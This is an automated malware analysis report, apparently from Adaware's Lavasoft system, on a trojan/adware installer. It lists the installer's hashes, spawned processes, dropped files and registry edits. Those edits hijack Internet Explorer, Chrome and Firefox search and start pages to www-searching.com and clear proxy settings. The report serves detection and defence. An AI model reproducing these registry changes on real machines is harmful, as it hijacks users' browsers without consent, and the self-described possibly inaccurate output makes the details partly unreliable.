Gen.Variant.Kazy.746779_16f4b6f13e – Adaware

HEUR:Trojan.Win32.Generic (Kaspersky), Gen:Variant.Kazy.746779 (B) (Emsisoft), Gen:Variant.Kazy.746779 (AdAware), mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 16f4b6f13e3e20e37edf9403c894fe80

SHA1: 73429446915087ec7b4ae2cc5a68f13f9d3c0150

SHA256: 294883e4d17afba42cfd8dddbbbdca386d1ce67e25bd743e75deb07fb4c592f9

SSDeep: 24576:qTJMjonewo+QkE3pGq/g8LaGCCmH/u+pvFfU+jEBbTr/:YeDwoFk0pfLPCCmH/dlFxEBbTr/

Size: 1085952 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: no certificate found

Created at: 2015-10-10 06:19:11

Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

smu.exe:2540

smu.exe:3356

sma.exe:308

sma.exe:4008

sma.exe:3164

sma.exe:3192

%original file name%.exe:3380

%original file name%.exe:264

smp.exe:3444

smp.exe:2836

tcpsvcs.exe:3488

tcpsvcs.exe:1504

The Trojan injects its code into the following process(es):

No processes have been created.

Mutexes

The following mutexes were created/opened:

No objects were found.

File activity

The process smu.exe:2540 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\ProgramData\SearchModulePlus\smhe.js (407 bytes)

The process smu.exe:3356 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Windows\Temp\Pre83CF.tmp (601 bytes)

C:\ProgramData\SearchModulePlus\smhe.js (407 bytes)

C:\Windows\Temp\Pre93AB.tmp (601 bytes)

C:\Windows\Temp\Web93AC.tmp (63 bytes)

C:\Windows\Temp\Pre83E0.tmp (601 bytes)

C:\Windows\Temp\Web83D0.tmp (63 bytes)

C:\Windows\Temp\Web83E1.tmp (63 bytes)

The Trojan deletes the following file(s):

C:\Windows\Temp\Pre93AB.tmp (0 bytes)

C:\Windows\Temp\Pre83CF.tmp (0 bytes)

C:\Windows\Temp\Pre83E0.tmp (0 bytes)

The process %original file name%.exe:3380 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_13704\%original file name%.exe (7433 bytes)

The process %original file name%.exe:264 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installytd_6828\%original file name%.exe (7433 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_22888\bxsdk32.dll (1192 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_9822\%original file name%.exe (7433 bytes)

The process smp.exe:3444 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk (2 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Search.lnk (2 bytes)

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)

The process smp.exe:2836 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Search.lnk (1 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\Search.lnk (1 bytes)

The process tcpsvcs.exe:3488 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\search-metadata.json (95 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Preferences (11028 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\searchplugins\smod.xml (2 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (9416 bytes)

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\5a2ce8gs.default\prefs.js (388 bytes)

The process tcpsvcs.exe:1504 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Common Files\Goobzo\GBUpdatePlus\SMUninstall.exe (10136 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\sma.exe (8560 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns715C.tmp (14 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\SBIEBrowserHelperObject.dll (3312 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns8C5D.tmp (14 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\nsExec.dll (14 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\smci32.dll (45051 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\System.dll (23 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns85B7.tmp (14 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\AccD.dll (7392 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\Updater.exe (25776 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns96D9.tmp (14 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\nsProcess.dll (12 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\rlz_id.dll (3616 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\smi32.exe (12088 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe (56684 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF8.tmp (245963 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\smw.sys (784 bytes)

%Program Files%\Common Files\Goobzo\GBUpdatePlus\smp.exe (6584 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EFA.tmp (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns8C5D.tmp (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\nsExec.dll (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\System.dll (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns85B7.tmp (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsc6EE8.tmp (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\AccD.dll (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns96D9.tmp (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\nsProcess.dll (0 bytes)

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsr6EF9.tmp\ns715C.tmp (0 bytes)

Registry activity

The process smu.exe:2540 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASMANCS]

"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASAPI32]

"MaxFileSize" = "1048576"

"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]

"Scf" = "40 CB 63 41 C7 74 17 84 EA 5E F9 24 AE E1 DA 8A"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASMANCS]

"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASAPI32]

"FileTracingMask" = "4294901760"

"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASMANCS]

"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASAPI32]

"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASMANCS]

"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Wow6432Node\SearchModulePlus\SMUpdPlus\Users\Default]

"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus\Users\Default]

"Spt" = "1B 39 48 C8 E0 BD 90 00 51 86 E1 DD 14 43 97 BC"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 3F 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]

"Gcf" = "80 46 55 E5 90 D4 4A C0 31 0A 29 D6 59 11 73 09"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASAPI32]

"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\smu_RASMANCS]

"EnableFileTracing" = "0"

"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus\Users\Default]

"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyServer"

"AutoConfigURL"

The process smu.exe:3356 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]

"Rlt" = "Type: REG_QWORD, Length: 8"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 03 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]

"Scf" = "46 A0 C0 5B 56 BA 84 71 70 9D 4F 8D 92 7C EE 47"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]

"LoadAppInit_DLLs" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"DefaultConnectionSettings" = "46 00 00 00 03 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\SearchModulePlus\SMUpdPlus]

"Ult" = "Type: REG_QWORD, Length: 8"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"AutoConfigURL"

"ProxyServer"

"ProxyOverride"

The process sma.exe:308 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASAPI32]

"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASMANCS]

"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASAPI32]

"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASMANCS]

"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASAPI32]

"ConsoleTracingMask" = "4294901760"

"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASMANCS]

"ConsoleTracingMask" = "4294901760"

"EnableFileTracing" = "0"

"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASAPI32]

"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASMANCS]

"FileDirectory" = "%windir%\tracing"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\sma_RASAPI32]

"FileTracingMask" = "4294901760"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"AutoConfigURL"

"ProxyServer"

"ProxyOverride"

The process sma.exe:4008 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 07 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"AutoConfigURL"

"ProxyServer"

"ProxyOverride"

The process sma.exe:3164 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"AutoConfigURL"

"ProxyServer"

"ProxyOverride"

The process sma.exe:3192 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"AutoConfigURL"

"ProxyServer"

"ProxyOverride"

The process %original file name%.exe:3380 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASMANCS]

"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASAPI32]

"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad]

"WpadLastNetwork" = "{E549E976-C5F2-4E77-819D-55BC9B7C25BC}"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASAPI32]

"EnableConsoleTracing" = "0"

"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"DefaultConnectionSettings" = "46 00 00 00 0C 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASMANCS]

"MaxFileSize" = "1048576"

"FileTracingMask" = "4294901760"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]

"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASMANCS]

"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASAPI32]

"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 3C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASMANCS]

"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASAPI32]

"ConsoleTracingMask" = "4294901760"

"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\16f4b6f13e3e20e37edf9403c894fe80_RASMANCS]

"EnableFileTracing" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyServer"

"AutoConfigURL"

The process %original file name%.exe:264 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]

"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\SearchModulePlus\Success]

"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 3D 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\SearchModulePlus\Success]

"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"MaxConnectionsPerServer" = "2"

"MaxConnectionsPer1_0Server" = "2"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyEnable" = "0"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]

"ProxyServer"

"AutoConfigURL"

The process smp.exe:3444 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]

"LanguageList" = "en-US, en"

The process smp.exe:2836 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband]

"FavoritesVersion" = "2"

"Favorites" = "00 7C 01 00 00 14 00 1F 80 C8 27 34 1F 10 5C 10"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]

"@zipfldr.dll,-10148" = "Compressed (zipped) folder"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband]

"FavoritesChanges" = "9"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@C:\Windows\system32]

"FXSRESM.dll,-120" = "Fax recipient"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Taskband]

"FavoritesResolve" = "CC 02 00 00 4C 00 00 00 01 14 02 00 00 00 00 00"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]

"LanguageList" = "en-US, en"

"@sendmail.dll,-21" = "Desktop (create shortcut)"

"@sendmail.dll,-4" = "Mail recipient"

The process tcpsvcs.exe:3488 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASMANCS]

"FileDirectory" = "%windir%\tracing"

"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]

"TopResultURL" = "http://www-searching.com/search.aspx?s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507%26site=shyosie%26prd=set%26q={searchTerms}"

"URL" = "http://www-searching.com/search.aspx?s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507%26site=shyosie%26prd=set%26q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"(Default)" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASAPI32]

"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]

"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASAPI32]

"ConsoleTracingMask" = "4294901760"

"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]

"TopResultURLFallback" = "http://www-searching.com/search.aspx?s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507%26site=shyosie%26prd=set%26q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"SuggestionsURLFallback" = "http://api.bing.com/qsml.aspx?query={searchTerms}%26maxwidth={ie:maxWidth}%26rowheight={ie:rowHeight}%26sectionHeight={ie:sectionHeight}%26FORM=IE8SSC%26market={language}"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASAPI32]

"EnableFileTracing" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]

"DisplayName" = "Search Module"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASMANCS]

"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"DisplayName" = "Bing"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASAPI32]

"FileDirectory" = "%windir%\tracing"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"URL" = "http://www.bing.com/search?q={searchTerms}%26src=IE-SearchBox%26FORM=IE8SRC"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]

"SuggestionsURLFallback" = "http://api.searchpredict.com/api/?rqtype=ffplugin%26siteID=8661%26dbCode=1%26command={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]

"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASMANCS]

"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]

"SavedLegacySettings" = "46 00 00 00 3E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{034127AD-1C9F-4882-9EA1-FA0972B48B08}]

"TopResultURLFallback" = "http://www.bing.com/search?q={searchTerms}%26src=ie9tr"

[HKCU\Software\Microsoft\Internet Explorer\Main]

"Start Page" = "http://www-searching.com/?pid=s%26s=FAAzamodk0,99999999-9999-4180-88c6-7a076893e507%26vp=ch%26prd=set"

[HKLM\SOFTWARE\Microsoft\Tracing\ins_U501EXE_RASMANCS]

"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]

"FaviconURLFallback" = "http://www-searching.com/favicon.ico"

